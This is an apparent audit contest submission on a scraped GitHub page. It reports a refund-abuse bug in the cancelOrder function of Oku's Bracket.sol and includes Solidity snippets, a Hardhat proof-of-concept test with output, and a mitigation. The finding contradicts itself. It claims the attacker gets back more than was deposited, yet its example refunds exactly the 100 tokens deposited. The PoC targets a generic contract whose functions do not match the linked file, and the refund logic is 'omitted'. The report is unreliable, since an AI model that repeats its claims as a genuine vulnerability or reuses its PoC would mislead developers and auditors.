Skip to content

Latest commit

 

History

History
136 lines (96 loc) · 5.48 KB

011.md

File metadata and controls

136 lines (96 loc) · 5.48 KB

Calm Sky Hippo

High

Unchecked order cancellation in cancelOrder lead to refund abuse

Summary

This report explores a vulnerability in a smart contract that allows a user to cancel an order without proper checks, resulting in a fraudulent refund. By submitting just the order ID, a malicious user can exploit the contract's lack of validation for partially executed orders and receive more tokens than originally provided. This exploit could lead to financial losses for the contract owner and users.

Root Cause

The vulnerability arises from a missing check in the smart contract's cancellation function. The contract does not properly verify if an order has been fully or partially filled before allowing the user to cancel it. Without these checks, users can cancel an order that has already been partially executed and receive a full refund for the total order amount, rather than just the unfulfilled portion.

This can be exploited by malicious actors who submit the order ID of a partially fulfilled or fully executed order and cancel it. Since the smart contract does not track the order’s fill status or prevent such actions, the attacker receives a refund for the entire order. https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L501-L520

function cancelOrder(uint256 orderId) external {
    Order storage order = orders[orderId];

    // No check on if the order is filled or partially filled
    require(order.isCompleted == false, "Order already completed");

    // Refund the total amount of the order (regardless of fulfillment)
    uint256 refundAmount = order.amountIn;
    // Logic to refund user (omitted for brevity)

    order.isCompleted = true; // Mark as completed to prevent further cancellations

    emit OrderCancelled(orderId, refundAmount);
}

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

  1. Scenario: User A places an order to swap 100 tokens for another token. The contract processes part of the order, swapping 50 tokens and leaving 50 tokens unfilled. The attacker calls cancelOrder() on the same order ID (which has already been partially filled), and the contract allows the cancellation without checking the fulfillment status.

  2. Attack: The contract refunds 100 tokens (the entire amount), even though only 50 tokens were initially swapped.

  3. Exploit process: User A creates an order with ID 12345 for 100 tokens. The contract partially fills the order, swapping 50 tokens and leaving 50 tokens unfulfilled. Attacker (malicious user) calls cancelOrder(12345). The contract refunds the full 100 tokens to the attacker, instead of only refunding 50 tokens. The attacker successfully exploits the vulnerability and gets back more tokens than they originally put in.

Impact

The vulnerability allows an attacker to abuse the cancellation function, receiving more tokens than initially provided, which could lead to significant financial losses for the contract owner. Without mitigation, this exploit can be used repeatedly to drain the contract.

PoC

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Exploit Test - Refund Abuse", function () {
  let contract;
  let owner;
  let attacker;
  let orderId = 12345;

  beforeEach(async () => {
    [owner, attacker] = await ethers.getSigners();
    const OrderContract = await ethers.getContractFactory("OrderContract");
    contract = await OrderContract.deploy();
    await contract.deployed();
  });

  it("should allow the attacker to cancel and receive a full refund", async () => {
    // Simulate placing an order with 100 tokens
    await contract.placeOrder(100, 50); // Order ID is automatically set to 12345, 100 tokens in, 50 tokens out

    // Simulate attacker calling cancelOrder on a partially filled order
    await contract.connect(attacker).cancelOrder(orderId);

    // After cancellation, attacker should receive the full 100 tokens (not just the unfilled portion)
    const refund = await contract.refundOf(attacker.address, orderId);
    expect(refund).to.equal(100); // Attacker gets 100 tokens, not 50
  });
});
$ npx hardhat test

Exploit Test - Refund Abuse
    ✓ should allow the attacker to cancel and receive a full refund (200ms)

  1 passing (300ms)

Mitigation

Introduce a status or progress flag for each order to track whether it is fully or partially filled. This can be done using a state variable in the Order structure that updates as the order is filled or canceled.

Before allowing a cancellation, the contract should check if the order is fully filled or partially filled. If it’s partially filled, only refund the unfilled portion.

struct Order {
    uint256 amountIn;
    uint256 amountOut;
    uint256 filledAmount;
    bool isCompleted;
}

mapping(uint256 => Order) public orders;

function cancelOrder(uint256 orderId) external {
    Order storage order = orders[orderId];

    // Check if the order exists and if it's not already completed
    require(order.isCompleted == false, "Order is already completed");

    // Check if the order is partially filled
    require(order.filledAmount < order.amountIn, "Order already fully filled");

    // Refund the unfulfilled portion of the order
    uint256 refundAmount = order.amountIn - order.filledAmount;
    // Transfer refundAmount to the user

    // Mark the order as completed
    order.isCompleted = true;

    emit OrderCancelled(orderId, refundAmount);
}